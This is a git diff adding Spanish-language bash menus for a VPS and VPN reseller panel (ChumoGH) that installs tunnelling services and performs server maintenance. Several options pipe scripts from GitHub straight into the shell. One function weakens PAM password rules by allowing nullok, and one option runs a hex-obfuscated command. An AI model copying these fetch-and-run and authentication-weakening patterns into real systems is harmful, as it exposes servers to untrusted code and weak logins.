${down[1]}${down[2]} | sed -e 's/(//' |sed -e 's/)//') +download_up=$(echo ${down[3]}${down[4]} | sed -e 's/(//' |sed -e 's/)//') +#echo -e " DESCARGA : $download_down | SUBIDA : $download_up" |column -t -s '|' +msg -bar +echo -e "\033[1;36m ↯↯↯ TRAFICO TOTAL DE BAJADA ↯↯↯ " +echo -e "\033[1;37m DESCARGA ↡ \033[1;32m --> \033[1;34m " $download_down "\033[1;32m <--\033[1;37m Ethernet ⇧ " +msg -bar +echo -e "\033[1;36m ⇈ TRAFICO TOTAL DE SUBIDA ⇈ " +echo -e "\033[1;37m SUBIDA ↡ \033[1;32m --> \033[1;34m " $download_up "\033[1;32m <--\033[1;37m Ethernet ⇧ " +msg -bar +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR \033[0m" +read -p " " +} + +reiniciar_ser () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/gnula.sh) --menu +return 0 +} +host_name () { +unset name +while [[ ${name} = "" ]]; do +echo -ne "\033[1;37m Nuevo nombre del host : " && read name +tput cuu1 && tput dl1 +done +hostnamectl set-hostname $name +echo $name > name +if [ $(hostnamectl status | head -1 | awk '{print $3}') = "${name}" ]; then +echo -e "\033[1;33m Host alterado corretamente !, reiniciar VPS" +else +echo -e "\033[1;33m Host no modificado!" +fi +return +} + +cambiopass () { +clear&&clear +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" +echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m" +msg -bar +echo -e "" +echo -e "${cor[3]} Esta herramienta cambia la contraseña de su servidor vps" +echo -e "${cor[3]} Esta contraseña es utilizada como usuario root" +echo -ne "\033[1;32m Desea Seguir? [S/N]: "; read x +[[ $x = @(n|N) ]] && fun_bar && return +#Inicia Procedimentos +echo -e "${cor[0]} Escriba su nueva contraseña" +read -p " Nuevo passwd: " pass +(echo $pass; echo $pass)|passwd 2>/dev/null +sleep 1s +fun_bar +echo -e "${cor[3]} Contraseña cambiada con exito!" +echo -e "${cor[2]} Su contraseña ahora es : ${cor[4]}$pass" +return +} + +rootpass () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Complementos/root-pass.sh) +} + +apa_nginx() { + +apt purge apache2 -y +# install webserver +apt -y install nginx +cd +rm /etc/nginx/sites-enabled/default +rm /etc/nginx/sites-available/default +wget -q -O /etc/nginx/nginx.conf "https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/nginx.conf" +[[ ! -d /var/www/html ]] && mkdir -p /var/www/html +[[ ! -e /var/www/html/index.html ]] && echo "
Setup by @ChumoGH
" > /var/www/html/index.html +wget -O /etc/nginx/conf.d/vps.conf "https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/vps.conf" +/etc/init.d/nginx restart +} + +verifi_fun () { +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" +echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m" +msg -bar +echo -e "" +echo -e "${cor[3]} Esta herramienta es Experimental en el vps" +echo -e "${cor[3]} Esta Accion Limita el Sobrepaso de USUARIOS del Limiter" +msg -bar +echo -ne " Desea Seguir? [S/N]: "; read x +[[ $x = @(n|N) ]] && fun_bar && return +echo -e "" +echo " KILL MULTILOGIN PARA SSH / DROPBEAR " +echo -ne " VERIFICANDO SISTEMA......" +if wget https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/killSSH.sh &>/dev/null -O /bin/killssh &>/dev/null ; then +#curl -LO --progress-bar url && wget -q -O ruta_file url_ruta +echo -e "${cor[2]} \033[1;32m EXITO \n" && msg -bar +chmod +x /bin/killssh &>/dev/null +msg -bar +[[ -e /etc/systemd/system/killadm.service ]] && { +killall kill_drop.sh &>/dev/null +systemctl stop killadm &>/dev/null +systemctl disable killadm &>/dev/null +systemctl daemon-reload &>/dev/null +rm /etc/systemd/system/killadm.service &>/dev/null +rm -rf /bin/killssh &>/dev/null +rm -f /bin/lockUSERS +echo -e " ${aLerT} ALERTA DE NOTIFICACION ${aLerT}" +echo -e " LIMITADOR KILL MULTILOGIN DESACTIVADO" +msg -bar +} || { +[[ $(dpkg --get-selections|grep -w "tcpdump"|head -1) ]] || apt-get install tcpdump -y &>/dev/null +clear&&clear +msg -bar +echo -e " DESEAS HABILITAR EL BLOCK LOGIN " +echo -e " SI HAY UN REINTENTO DE 5 VECES " +echo -e " ESTO BOQUEARA EL USUARIO " +echo -e "SOLO SI SOBREPASA EL LIMITE 5 VECES " +msg -bar +echo -ne "Desea Seguir? [S/N]: "; read kus +[[ ${kus} = @(n|N) ]] && rm -f /bin/lockUSERS || echo 1 > /bin/lockUSERS +/bin/killssh && echo " EJECUCION EXTOSA" +msg -bar +echo -e '[Unit] +Description=KillLogin Service by @ChumoGH +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/killssh & +ExecReload=/bin/killssh +Restart=always +RestartSec=10s + +[Install] +WantedBy=multi-user.target' > /etc/systemd/system/killadm.service +systemctl enable killadm &>/dev/null && echo -e " ${rUlq} AVISO DE NOTIFICACION ${rUlq} " +systemctl start killadm &>/dev/null && echo -e " \033[1;32m LIMITADOR KILL MULTILOGIN ACTIVADO" || echo -e " \033[1;31m ERROR AL INICIAR LIMITADOR" +systemctl daemon-reload &>/dev/null +msg -bar +} +else +echo -e "${cor[2]} \033[1;31m FAIL \n" && msg -bar +sleep 2s +return +fi +read -p " PRESIONA ENTER PARA CONTINUAR" && clear +} + +pamcrack () { +echo -e "Liberar passwd para VURTL" +echo -ne "Desea Seguir? [S/N]: "; read x +[[ $x = @(n|N) ]] && fun_bar && return +echo -e "" +fun_bar "service ssh restart" +sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password +fun_bar "service ssh restart" +echo -e "" +echo -e " \033[1;31m[ ! ]\033[1;33mConfiguraciones VURTL aplicadas" | pv -qL 25 +#msg -bar +return +} + + +RSLL (){ +echo -e " Escriba un nombre para el Redireccionador SSL" +read -p ": " nombressl +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -ne "\033[1;37m" +echo -e " Ingresa el Puerto Local de tu VPS (Port a Redireccionar) " +read -p " Local-Port: " portserv +echo -e "\033[1;33m Digite el Puerto SSL, que Va a USAR:" +echo " Ingresa Puerto SSl/TLS a USAR (Recomendado 110-442-444) " +read -p " Listen-SSL: " portssl +apt install stunnel4 -y +if lsof -Pi :$portssl -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +echo "[$nombressl] " >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf +echo "accept = $portssl " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf +sleep 1 +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" | pv -qL 25 +echo -e "\033[1;34m ##############################" +service stunnel4 restart 1> /dev/null 2> /dev/null +sleep 1 +fi +} + +fun7() { +while : +do +clear +[[ -z "$(cat /etc/crontab | grep 'ejecutar')" ]] && _opti="\033[0;31m [OFF]" || _opti="\033[0;31m [\033[0;32mON\033[0;31m]" +[[ -e /etc/systemd/system/killadm.service ]] && lmt="\033[0;31m [\033[0;32mON\033[0;31m] " || lmt="\033[0;31m [OFF]" +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" +msg -bar +echo -e "${cor[2]} ${yYaN} Menu de Administracion Herramientas BETA ${yYaN} " +msg -bar +echo -e "${cor[2]} [0] ${flech} \033[1;31mVolver" +echo -e "${cor[2]} [1] ${flech} \033[1;36mMenu Servicios Protocolos " #\033[0;32m(#OFICIAL)" +echo -e "${cor[2]} [2] ${flech} \033[1;36mAuto Limpiezas / Optimizacion \033[0;32m(#OFICIAL)$_opti" +echo -e "${cor[2]} [3] ${flech} \033[1;36mCambiar Contraseña ROOT." +echo -e "${cor[2]} [4] ${flech} \033[1;36m#- Soporte TLS 1.3# \033[0;33m( #EXPERIMENTAL )" +echo -e "${cor[2]} [5] ${flech} \033[1;36mMemoria SWAP Particion \033[0;33m( #BETA )" +echo -e "${cor[2]} [6] ${flech} \033[1;35mKILL MULTILOGIN \033[0;33m(#BETA) $lmt" +echo -e "${cor[2]} [7] ${flech} \033[1;36mFIX SSH -> DROPBEAR ( PORTA :\033[1;34m $(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\033[1;36m ) \033[0;32m(#OFICIAL)" +echo -e "${cor[2]} [8] ${flech} \033[1;34mScript TROJAN (directo) \033[0;32m(#OFICIAL)" #MENU ShadowsocksR \033[1;33m(FIX) +echo -e "${cor[2]} [9] ${flech} \033[1;36mFIX CONTRASEÑA ROOT EN AMAZON & GG CLOUD" +echo -e "${cor[2]} [10] ${flech} \033[1;36mMostrar Trafico Total de VPS \033[0;32m(#OFICIAL)" +echo -e "${cor[2]} [12] ${flech} \033[1;36mDNS Netflix" +echo -e "${cor[2]} [13] ${flech} \033[1;36mFIX SOURCES UBUNTU" +echo -e "${cor[2]} [14] ${flech} \033[1;36mActualizar Zona Horaria \033[0;32m(#OFICIAL)" +echo -e "${cor[2]} [15] ${flech} \033[1;36mInstalar Go Lang \033[0;32m(#OFICIAL)" +echo -e "${cor[2]} [16] ${flech} \033[1;36mCreador de Payloads By \033[1;31m@RealStrategy \033[0;33m(#BETA)" +echo -e "${cor[2]} [17] ${flech} \033[1;36mTCP Aceleración (BBR/Plus) \033[0;33m(#BETA)" +echo -e "${cor[2]} [20] ${flech} \033[1;34mFUNCIONES TESTE \033[0;33m(#BETA) " +############### +msg -bar +read -p " Escoje : " ppp +case $ppp in + 0) + clear&&break + ;; + 1) + clear + [[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" + echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m" + msg -bar + echo -e " + [\033[1;30m1\033[1;33m] REINICIAR SERVICIOS \033[0;32m(#OFICIAL) \033[1;33m + [\033[1;30m2\033[1;33m] Desinstalacion de SERVICIOS \033[0;32m(#OFICIAL) \033[1;33m + [\033[1;30m3\033[1;33m] Mostrar Config de SERVICIOS \033[0;32m(#OFICIAL) \033[1;33m + [\033[1;30m4\033[1;33m] Mostrar SERVICIOS Con mas Consumo \033[0;32m(#OFICIAL) \033[1;33m" + msg -bar + echo -e "[\033[1;30m0\033[1;33m] < REGRESAR \033[1;33m" + msg -bar + read -p ": " opcao + case $opcao in + 1)reiniciar_ser;; + 2) + [[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 ◄◄<<===== \033[0m" +echo -e "\033[1;37m 【  Reseller : $(cat < /bin/ejecutar/menu_credito) - ADM 2022  】\033[0m" + echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m" + echo -e "\033[1;37mSeleccione una opcion a desinstalar: Para Salir Ctrl + C\033[1;33m + [\033[1;30m1\033[1;33m] BADVPN \033[1;33m + [\033[1;30m2\033[1;33m] FAIL2BAN \033[1;33m + [\033[1;30m3\033[1;33m] STUNNEL4 $stunel\033[1;33m + [\033[1;30m4\033[1;33m] WEBMIN \033[1;33m + [\033[1;30m5\033[1;33m] PYTHON \033[1;33m + [\033[1;30m6\033[1;33m] SHADOWSOCKS \033[1;33m + [\033[1;30m7\033[1;33m] DROPBEAR \033[1;33m + [\033[1;30m8\033[1;33m] OPENVPN \033[1;33m + [\033[1;30m9\033[1;33m] LIBRERIAS 32BITS \033[1;33m + [\033[1;30m10\033[1;33m] NGINX \033[1;33m + [\033[1;30m11\033[1;33m] SQUID \033[1;33m + [\033[1;30m12\033[1;33m] V2RAY \033[1;33m + [\033[1;30m13\033[1;33m] V2-UI WEB $v2ui\033[1;33m + [\033[1;30m14\033[1;33m] TROJAN Go $tojanss\033[1;33m + [\033[1;30m0\033[1;33m] < REGRESAR \033[1;33m" + read -p ": " opcao + case $opcao in + 1) + removerbadvpn;; + 2) + removerfail2ban;; + 3) + removerstunnel;; + 4) + removerwebmin;; + 5) + removerpython;; + 6) + removershadowsocks;; + 7) + removerdropbear;; + 8) + removeropenvpn;; + 9) + removerlibs32;; + 10) + removernginx;; + 11) + removersquid;; + 12) + removerv2ray;; + 13) + removerv2ui;; + 14) + removertro;; + 15) + removetrojan;; + 0) + ;; + esac + ;; + 3) echo "FUNCION ANULADA";; + 4) mpro;; + 0) return;; + esac + ;; + 2) autoop;; + 3) cambiopass && break;; + 4) tls13;; + 5) xswap;; + 6) verifi_fun;; + 7) fixssh;; + 8) ssrmenu;; + 9) rootpass;; + 10) mtraff;; + 11) RSLL;; + 12) wget -q -O /tmp/dnsNN.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/dnsNN.sh && chmod +x /tmp/dnsNN.sh && bash /tmp/dnsNN.sh;; + 13) sfix;; + 14) chora;; + 15) goinst;; + 16) crea_pay;; + 17) bbr;; + 18) clash-man;; + 20) fun_teste;; + esac +done +} + + +#FUNCIONES +while true; do +start_menu +unset lang +selection=$(selection_fun 10) +case ${selection} in +0) +#echo -e "${cor[0]} SALIENDO " | pv -qL 50 +killall usercodes > /dev/null 2>&1 +killall ferramentas > /dev/null 2>&1 +killall menu_inst > /dev/null 2>&1 +clear && cd $HOME && break +;; +1) +clear +/etc/scpdk1/usercodes +;; +2) +clear +/etc/scpdk1/ferramentas +;; +3) +echo -e "OPTIMIZANDO SERVIDOR" | pv -qL 80 +fun_limpram() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a + [[ -e /etc/v2ray/config.json ]] && v2ray clean 1> /dev/null 2> /dev/null + [[ -e /etc/xray/config.json ]] && xray clean 1> /dev/null 2> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall usercodes > /dev/null 2>&1 + killall ferramentas > /dev/null 2>&1 + killall menu_inst > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + #echo -e "@ChumoGH " > /var/log/auth.log + systemctl restart rsyslog.service + systemctl restart systemd-journald.service + service dropbear stop > /dev/null 2>&1 + service sshd restart > /dev/null 2>&1 + service dropbear restart > /dev/null 2>&1 + sleep 2 +} +function aguarde() { + sleep 1 + helice() { + fun_limpram >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37mOPTIMIZANDO MEMORIA \033[1;32mRAM \033[1;37me \033[1;32mSWAP\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} +aguarde +;; +4) +remover_adm +exit +;; +5) +clear +msg -bar +echo -e "CADA QUE ESCOJAS ESTO CARGAREMOS NUEVAMENTE EL MENU " +echo -e " ----- GENERANDO UNA ESPECIE DE BUG --------" +echo -e " NO TE PREOCUPES, UNA VEZ QUE SALGAS DE SCRIPT ESTOS " +echo -e " PROCESOS O EJECUCUONES DESAPARECERAN " +echo -e " NO CREAS CUALQUIER BASURA QUE DIGAN " +echo -e " VERIFICA DETALLES TU MISMO Y SE MEJOR " +msg -bar +read -p " !! " +/etc/scpdk1/menu +;; +6) +funcao_verificacao +;; +7) +fun7 +;; +8) +if [[ -e /etc/bash.bashrc-bakup ]]; then +mv -f /etc/bash.bashrc-bakup /etc/bash.bashrc +cat /etc/bash.bashrc | grep -v "/etc/scpdk1/menu" >/tmp/bash +mv -f /tmp/bash /etc/bash.bashrc +#echo 'cgh' >> /root/.bashrc +echo -e "\e[1;31m -- AUTO INICIO DESACTIVADO --" | pv -qL 30 +msg -bar +elif [[ -e /etc/bash.bashrc ]]; then +cat /etc/bash.bashrc | grep -v /bin/menu >/etc/bash.bashrc.2 +echo '/etc/scpdk1/menu' >>/etc/bash.bashrc.2 +cp /etc/bash.bashrc /etc/bash.bashrc-bakup +mv -f /etc/bash.bashrc.2 /etc/bash.bashrc +chmod +x /bin/adm +echo -e "\e[1;32m -- AUTO INICIO ACTIVADO --" | pv -qL 30 +msg -bar +fi +;; +9) +export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games +value=$(vary_rex "2f6574632f61646d2d6c6974652f6d656e755f696e7374") +${value} +;; +10) +fun_atualizar +;; +esac +done + diff --git a/Lista/menu-i.sh b/Lista/menu-i.sh new file mode 100755 index 0000000..1f0e482 --- /dev/null +++ b/Lista/menu-i.sh @@ -0,0 +1,162 @@ +#!/bin/bash +source $(pwd)/msg + +protos(){ +source $(pwd)/protos.sh +clear&&clear +if [[ $1 == '--dropbear' ]]; then +source $(pwd)/protos.sh +fun_dropbear +elif [[ $1 == '--proxy-python' ]]; then +source $(pwd)/protos.sh +iniciarsocks +else + +while true; do +#FUNCOES +cor[0]="\033[0m" +cor[1]="\033[1;34m" +cor[2]="\033[1;32m" +cor[3]="\033[1;37m" +cor[4]="\033[1;36m" +cor[5]="\033[1;33m" +cor[6]="\033[1;35m" +unset squid +unset dropbear +unset openvpn +unset stunel +unset shadow +unset telegran +unset socks +unset gettun +unset tcpbypass +unset webminn +unset ddos +unset v2ray +_portbaSE="$(netstat -tunlp)" +_ps="$(ps x)" +tojanss=`if echo -e "$_portbaSE" | grep trojan 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +echo -e "\033[1;31m[OFF]" +fi`; +[[ $(echo -e "$_portbaSE" | grep trojan) ]] && pTROJ="\033[1;32m[ON] " || pTROJ="\033[1;31m[OFF]" +pps=`if echo -e "$_portbaSE" | grep psiphond 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +echo -e "\033[1;31m[OFF]" +fi`; +v2ray=`if echo -e "$_portbaSE" | grep v2ray 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else + if echo -e "$_portbaSE" | grep x-ui 1> /dev/null 2> /dev/null; then + echo -e "\033[1;32m[\033[0;34mUI\033[1;32m] " + else + echo -e "\033[1;31m[OFF]" + fi +fi`; + +xclash=`if echo -e "$_portbaSE" | grep clash 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +[[ -e /root/.config/clash/config.yaml ]] && echo -e "\033[1;32m[\033[0;34mCFA\033[1;32m]" || echo -e "\033[1;31m[OFF]" +fi`; +[[ $(echo -e "${_ps}"| grep udpServer| grep -v grep) ]] && _pidUDP="\033[0;34m[US] " || { + [[ $(echo -e "${_ps}"| grep UDP-Custom| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mUC\033[1;32m] " || { + [[ $(echo -e "${_ps}"| grep hysteria| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mHYS\033[1;32m] " + } || _pidUDP="\033[1;31m[OFF]" +} +slowssh=$(echo -e "${_ps}"| grep "slowdns-ssh"|grep -v grep > /dev/null && echo -e "\033[1;32m?? " || echo -e "\033[1;31m?? ") +slowpid=$(echo -e "${_ps}" | grep -w "dns-server" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $slowpid ]] && P1="\033[0;32m[ON] " || P1="\033[1;31m[OFF]" +[[ -e /etc/squid3/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]" +[[ -e /etc/squid/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]" +[[ $(echo -e "$_portbaSE" |grep dropbear|head -1) ]] && dropb="\033[1;32m[ON] " || dropb="\033[1;31m[OFF]" +[[ -e /etc/openvpn/server.conf ]] && openvpn="\033[0;32m[ON] " || openvpn="\033[1;31m[OFF]" +[[ $(echo -e "$_portbaSE" |grep stunnel|head -1) ]] && stunel="\033[1;32m[ON] " || stunel="\033[1;31m[OFF]" +[[ -e /etc/shadowsocks.json ]] && shadow="\033[1;32m[ON]" || shadow="\033[1;31m[OFF]" +[[ "$(echo -e "${_ps}" | grep "ultimatebot" | grep -v "grep")" != "" ]] && telegran="\033[1;32m[ON]" +[[ $(echo -e "${_ps}" | grep "PDirect.py") ]] && socks="\033[1;32m[\033[0;34mPyD\033[1;32m]" || socks="\033[1;31m[OFF]" +[[ $(echo -e "${_ps}" | grep "PDirect80") ]] && socksA="\033[1;32m[\033[0;34mRUN\033[1;32m]" || socksA="\033[1;31m[OFF]" +[[ -e /ADMcgh/edbypass ]] && tcpbypass="\033[1;32m[ON]" || tcpbypass="\033[1;31m[OFF]" +[[ -e /etc/webmin/miniserv.conf ]] && webminn="\033[1;32m[ON]" || webminn="\033[1;31m[OFF]" +[[ -e /usr/local/x-ui/bin/config.json ]] && v2ui="\033[1;32m[ON]" || v2ui="\033[1;31m[OFF]" +[[ -e /usr/local/etc/trojan/config.json ]] && troj="\033[1;32m[ON]" || troj="\033[1;31m[OFF]" +[[ -e /etc/default/sslh ]] && sslh="\033[1;32m[ON] " || sslh="\033[1;31m[OFF]" +[[ -e /usr/local/ddos/ddos.conf ]] && ddos="\033[1;32m[ON]" +ssssrr=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +[[ ! -z "${ssssrr}" ]] && cc="\033[1;32m" || cc="\033[1;31m" +[[ -d /usr/local/shadowsocksr ]] && { +user_info=$(cd /usr/local/shadowsocksr &> /dev/null && python mujson_mgr.py -l ) +user_t="\033[1;33m$(echo "${user_info}"|wc -l) Cts" +} || user_t="\033[1;31m[OFF]" +[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpd="\033[1;31m[OFF]" || _tcpd="\033[0;31m[\033[0;32mON\033[0;31m] " +[[ "$(cat /etc/pam.d/common-password | grep ChumoGH | wc -l)" != '0' ]] && _fv="\033[0;31m[\033[0;32mON\033[0;31m]" || _fv="\033[1;31m[OFF]" +[[ -e /etc/.hosts.original ]] && _ADS="\033[0;31m[\033[0;32mON\033[0;31m]" || _ADS="\033[1;31m[OFF]" +[[ "$(echo -e "$_portbaSE" | grep 'docker' | wc -l)" != '0' ]] && chiselsts="\033[1;32m[ON]" || chiselsts="\033[1;31m[OFF]" +tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 +echo -e "${cor[5]} ${h0nG} INSTALACION DE PROTOCOLOS ${h0nG} " +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m${flech} ${cor[3]}SQUID $squid \033[0;35m [\033[0;36m11\033[0;35m]\033[0;33m${flech} ${cor[3]}PSIPHON SERVER $pps" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m${flech} ${cor[3]}DROPBEAR $dropb \033[0;35m [\033[0;36m12\033[0;35m]\033[0;33m${flech} ${cor[3]}TCP DNS \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m${flech} ${cor[3]}OPENVPN $openvpn \033[0;35m [\033[0;36m13\033[0;35m]\033[0;33m${flech} ${cor[3]}WEBMIN $webminn" +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL/TLS $stunel \033[0;35m [\033[0;36m14\033[0;35m]\033[0;33m${flech} ${cor[3]}SlowDNS $P1" +echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS-R $shadow \033[0;35m [\033[0;36m15\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL->PYTHON ${socksA}" #\033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS $user_t \033[0;35m [\033[0;36m16\033[0;35m]\033[0;33m${flech} ${cor[3]}SSLH Multiplex $sslh" +echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m${flech} ${cor[3]}PROXY PYTHON $socks \033[0;35m [\033[0;36m17\033[0;35m]\033[0;33m${flech} ${cor[3]}OVER WEBSOCKET \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m${flech} ${cor[3]}V2RAY SWITCH $v2ray \033[0;35m [\033[0;36m18\033[0;35m]\033[0;33m${flech} ${cor[3]}SOCKS5 \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;33m${flech} ${cor[3]}CFA ( CLASH ) $xclash\033[0;35m [\033[0;36m19\033[0;35m]\033[0;33m${flech} ${cor[3]}Protocolos UDP $_pidUDP" +echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;33m${flech} ${cor[3]}TROJAN-GO $pTROJ \033[0;35m [\033[0;36m20\033[0;35m]\033[0;33m${flech} ${cor[5]}FUNCIONES EN DISEO!" +msg -bar #msg -bar +echo -e "${cor[5]} ${h0nG} INSTALACION DE HERRAMIENTAS Y SERVICIOS ${h0nG} " +msg -bar +echo -e "\033[0;35m [\033[0;36m21\033[0;35m]\033[0;33m ${flech} ${cor[3]}BLOCK TORRENT \033[0;35m [\033[0;36m22\033[0;35m]\033[0;33m ${flech} ${cor[3]}BadVPN $_badvpn" +echo -e "\033[0;35m [\033[0;36m23\033[0;35m]\033[0;33m ${flech} ${cor[3]}TCP (BBR|Plus) $_tcpd \033[0;35m [\033[0;36m24\033[0;35m]\033[0;33m ${flech} ${cor[3]}FAILBAN $fail_b" +echo -e "\033[0;35m [\033[0;36m25\033[0;35m]\033[0;33m ${flech} ${cor[3]}ARCHIVO ONLINE \033[0;31m[\033[0;32m${portFTP}\033[0;31m] \033[0;35m [\033[0;36m26\033[0;35m]\033[0;33m ${flech} ${cor[3]}UP|DOWN SpeedTest " #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m27\033[0;35m]\033[0;33m ${flech} ${cor[3]}DETALLES DEL VPS \033[0;35m [\033[0;36m28\033[0;35m]\033[0;33m ${flech} ${cor[3]}Block ADS $_ADS" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m29\033[0;35m]\033[0;33m ${flech} ${cor[3]}DNS CUSTOM (NETFLIX) \033[0;35m [\033[0;36m30\033[0;35m]\033[0;33m ${flech} ${cor[3]}FIREWALLD CUSTOM" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m31\033[0;35m]\033[0;33m ${flech} ${cor[3]}Fix PassWD VULTR ${_fv} \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 20) +case ${selection} in +0) break;; +1) fun_squid && read -p " Enter";; +2) protos --dropbear ;; #fun_dropbear && read -p " Enter";; +3) fun_openvpn && read -p " Enter";; +4) ssl_stunel && read -p " Enter";; +5) fun_shadowsocks && read -p " Enter";; +6) ssrmenu && read -p " Enter";; +7) protos --proxy-python ;; #iniciarsocks && read -p " Enter";; +8) v2ray-socket && read -p " Enter";; +9) instala_clash && read -p " Enter";; +10) trojan && read -p " Enter";; +11) psix && read -p " Enter";; +12) tcpd && read -p " Enter";; +13) web_min && read -p " Enter";; +14) slow-dns && read -p " Enter";; +15) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/autoconfig.sh) && read -p " Enter";; +16) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/sslh-back3.sh) && read -p " Enter";; +17) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ws-java.sh) && read -p " Enter";; +18) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/socks5.sh) && read -p " Enter";; +19) _funUDP && read -p " Enter";; +20) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/h_beta.sh) && read -p " Enter";; +#21)fun_chisel && read -p " Enter";; +21) source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) && read -p " Enter";; +22) funBadVPN && read -p " Enter";; +23) funTCP && read -p " Enter";; +24) funFAILBAN && read -p " Enter";; +25) funARQONLINE && read -p " Enter";; +26) funSPEED && read -p " 